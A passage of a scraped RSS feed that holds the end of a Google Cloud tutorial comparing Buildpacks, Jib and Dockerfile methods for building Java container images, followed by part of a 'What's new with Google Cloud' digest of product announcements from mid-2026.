&lt;manifest&gt;\r\n              &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n            &lt;/manifest&gt;\r\n          &lt;/archive&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n    &lt;/plugins&gt;\r\n  &lt;/build&gt;\r\n\r\n&lt;/project&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860c10&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to run this locally make sure you have Java 8 installed and from the project root directory, run:</p><p><code>./mvnw compile exec:java</code></p><p>You can test the server by visiting: <a href="http://localhost:8080/" target="_blank">http://localhost:8080</a></p><h3>Container Builder: Buildpacks</h3><p>We have an application that we can run locally so let's get back to those Container Builders. Earlier you learned that Heroku invented Buildpacks to create standard, polyglot ways to go from source to a Container Image. When Docker / OCI Containers started gaining popularity Heroku and Pivotal worked together to make their Buildpacks work with Docker / OCI Containers. That work is now a sandbox Cloud Native Computing Foundation project: <a href="https://buildpacks.io/" target="_blank">https://buildpacks.io/</a></p><p>To use Buildpacks you will need to <a href="https://docs.docker.com/get-started/" target="_blank">install Docker</a> and <a href="https://github.com/buildpacks/pack/releases" target="_blank">the pack tool</a>. Now from the command line tell Buildpacks to take your source and turn it into a Container Image:</p><p><code>pack build --builder=gcr.io/buildpacks/builder:v1 comparing-docker-methods:buildpacks</code></p><p>Magic! You didn't have to do anything and the Buildpacks knew how to turn that Java application into a Container Image. It even works on Go, NodeJS, Python, and .Net apps out-of-the-box. So what just happened?  Buildpacks inspect your source and try to identify it as something it knows how to build. In the case of our sample application it noticed the <code>pom.xml</code> file and decided it knows how to build Maven-based applications. The <code>--builder</code> flag told it where to get the Buildpacks from. In this case, <code>gcr.io/buildpacks/builder:v1</code> are the Container Image coordinates to <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks">Google Cloud's Buildpacks</a>. Alternatively you could use the Heroku or Paketo Buildpacks. The parameter <code>comparing-docker-methods:buildpacks</code> is the Container Image coordinates for where to store the output. In this case it stores on the local docker daemon. You can now run that Container Image locally with <code>docker</code>:</p><p><code>docker run -it -ePORT=8080 -p8080:8080 comparing-docker-methods:buildpacks</code></p><p>Of course you can also run that Container Image anywhere that runs Docker / OCI Containers like Kubernetes and Cloud Run.</p><p>Buildpacks are nice because in many cases they just work and you don't have to do anything special to turn your source into something runnable. But the resulting Container Images created from Buildpacks can be a bit bulky. Let's use a tool called <a href="https://github.com/wagoodman/dive" target="_blank"><code>dive</code></a> to examine what is in the created container image:</p><p><code>dive comparing-docker-methods:buildpacks</code></p><p></p><p></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_comparison.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>Here you can see the Container Image has 11 layers and a total image size of 319MB. With <code>dive</code> you can explore each layer and see what was changed. In this Container Image the first 6 layers are the base operating system. Layer 7 is the JVM and layer 8 is our compiled application. Layering enables great caching so if only layer 8 changes, then layers 1 through 7 do not need to be re-downloaded. One downside of Buildpacks is how (at least for now) all of the dependencies and compiled application code are stored in a single layer. It would be better to have separate layers for the dependencies and the compiled application.</p><p>To recap, Buildpacks are the easy option that "just works" right out-of-the-box. But the Container Images are a bit large and not optimally layered.</p><h3>Container Builder: Jib</h3><p>The open source <a href="https://github.com/GoogleContainerTools/jib" target="_blank">Jib project</a> is a Java library for creating Container Images with Maven and Gradle plugins. To use it on a Maven project (like the one we from above), just add a build plugin to the <code>pom.xml</code> file:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;plugin&gt;\r\n    &lt;groupId&gt;com.google.cloud.tools&lt;/groupId&gt;\r\n    &lt;artifactId&gt;jib-maven-plugin&lt;/artifactId&gt;\r\n    &lt;version&gt;2.6.0&lt;/version&gt;\r\n&lt;/plugin&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d30&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Now a Container Image can be created and stored in the local docker daemon by running:</p><p><code>./mvnw compile jib:dockerBuild -Dimage=comparing-docker-methods:jib</code></p><p>Using <code>dive</code> we will see that the Container Image for this application is now only 127MB thanks to slimmer operating system and JVM layers. Also, on a Spring Boot application we can see how Jib layers the dependencies, resources, and compiled application for better caching:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Spring_Boot_Application.max-1000x1000.png" alt="Spring Boot Application">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>In this example the 18MB layer contains the runtime dependencies and the final layer contains the compiled application. Unlike with Buildpacks the original source code is not included in the Container Image. Jib also has a great feature where you can use it without docker being installed, as long as you store the Container Image on an external Container Registry (like DockerHub or the Google Cloud Container Registry). Jib is a great option with Maven and Gradle builds for Container Images that use the JVM.</p><h3>Container Builder: Dockerfile</h3><p>The traditional way to create Container Images is built into the <code>docker</code> tool and uses a sequence of instructions defined in a file usually named <code>Dockerfile</code>. Here is a <code>Dockerfile</code> you can use with the sample Java application:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM adoptopenjdk/openjdk8 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nFROM adoptopenjdk/openjdk8:jre\r\n\r\nCOPY --from=builder /app/target/*.jar /server.jar\r\n\r\nCMD ["java", "-jar", "/server.jar"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d90&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>In this example, the first four instructions start with the AdoptOpenJDK 8 Container Image and build the source to a Jar file. The final Container Image is created from the AdoptOpenJDK 8 JRE Container Image and includes the created Jar file. You can run <code>docker</code> to create the Container Image using the <code>Dockerfile</code> instructions:</p><p><code>docker build -t comparing-docker-methods:dockerfile </code></p><p>Using <code>dive</code> we can see a pretty slim Container Image at 209MB:<br></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Container_image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>With a <code>Dockerfile</code> we have full control over the layering and base images. For example, we could use the <a href="https://github.com/GoogleContainerTools/distroless/tree/master/java" target="_blank">Distroless Java base image</a> to trim down the Container Image even further. This method of creating Container Images provides a lot of flexibility but we do have to write and maintain the instructions.</p><p>With this flexibility we can do some cool stuff. For example, we can use GraalVM to create a "native image" of our application. This is an ahead-of-time compiled binary which can reduce startup time, reduce memory usage, and alleviate the need for a JVM in the Container Image. And we can go even further and create a statically linked native image which includes everything needed to run so that even an operating system is not needed in the Container Image. Here is the Dockerfile to do that:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM oracle/graalvm-ce:20.2.0-java11 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN gu install native-image\r\n\r\n# BEGIN PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n# SEE: https://github.com/oracle/graal/blob/master/substratevm/StaticImages.md\r\nARG RESULT_LIB="/staticlibs"\r\n\r\nRUN mkdir ${RESULT_LIB} &amp;&amp; \\\r\n    curl -L -o musl.tar.gz https://musl.libc.org/releases/musl-1.2.1.tar.gz &amp;&amp; \\\r\n    mkdir musl &amp;&amp; tar -xvzf musl.tar.gz -C musl --strip-components 1 &amp;&amp; cd musl &amp;&amp; \\\r\n    ./configure --disable-shared --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /muscl &amp;&amp; rm -f /musl.tar.gz &amp;&amp; \\\r\n    cp /usr/lib/gcc/x86_64-redhat-linux/4.8.2/libstdc++.a ${RESULT_LIB}/lib/\r\n\r\nENV PATH="$PATH:${RESULT_LIB}/bin"\r\nENV CC="musl-gcc"\r\n\r\nRUN curl -L -o zlib.tar.gz https://zlib.net/zlib-1.2.11.tar.gz &amp;&amp; \\\r\n   mkdir zlib &amp;&amp; tar -xvzf zlib.tar.gz -C zlib --strip-components 1 &amp;&amp; cd zlib &amp;&amp; \\\r\n   ./configure --static --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /zlib &amp;&amp; rm -f /zlib.tar.gz\r\n#END PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nRUN native-image \\\r\n  --static \\\r\n  --libc=musl \\\r\n  --no-fallback \\\r\n  --no-server \\\r\n  --install-exit-handlers \\\r\n  -H:Name=webapp \\\r\n  -cp /app/target/*.jar \\\r\n  com.google.WebApp\r\n\r\nFROM scratch\r\n\r\nCOPY --from=builder /app/webapp /webapp\r\n\r\nENTRYPOINT ["/webapp"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860df0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will see there is a bit of setup needed to support static native images. After that setup the Jar is compiled like before with Maven. Then the <code>native-image</code> tool creates the binary from the Jar. The <code>FROM scratch</code> instruction means the final container image will start with an empty one. The statically linked binary created by <code>native-image</code> is then copied into the empty container.</p><p>Like before you can use <code>docker</code> to build the Container Image:</p><p><code>docker build -t comparing-docker-methods:graalvm .</code></p><p>Using <code>dive</code> we can see the final Container Image is only 11MB!</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_Image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>And it starts up super fast because we don't need the JVM, OS, etc. Of course GraalVM is not always a great option as there are some challenges like dealing with reflection and debugging. You can read more about this in my blog, <a href="https://jamesward.com/2020/05/07/graalvm-native-image-tips-tricks/" target="_blank">GraalVM Native Image Tips &amp; Tricks</a>.</p><p>This example does capture the flexibility of the <code>Dockerfile</code> method and the ability to do anything you need. It is a great escape hatch when you need one.</p><h3>Which Method Should You Choose?</h3><p></p><ul><li>The easiest, polyglot method: Buildpacks</li><li>Great layering for JVM apps: Jib</li><li>The escape hatch for when those methods don't fit: Dockerfile</li></ul><p></p><p>Check out my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a> to explore these methods as well as the mentioned Spring Boot + Jib example.</p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Announcing Google Cloud buildpacks—container images made easy</h4>
            <p class="uni-related-article-tout__body">Google Cloud buildpacks make it much easier and faster to build applications on top of containers.</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
    <dd>&lt;ListValue: []&gt;</dd>
</dl></div>
<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
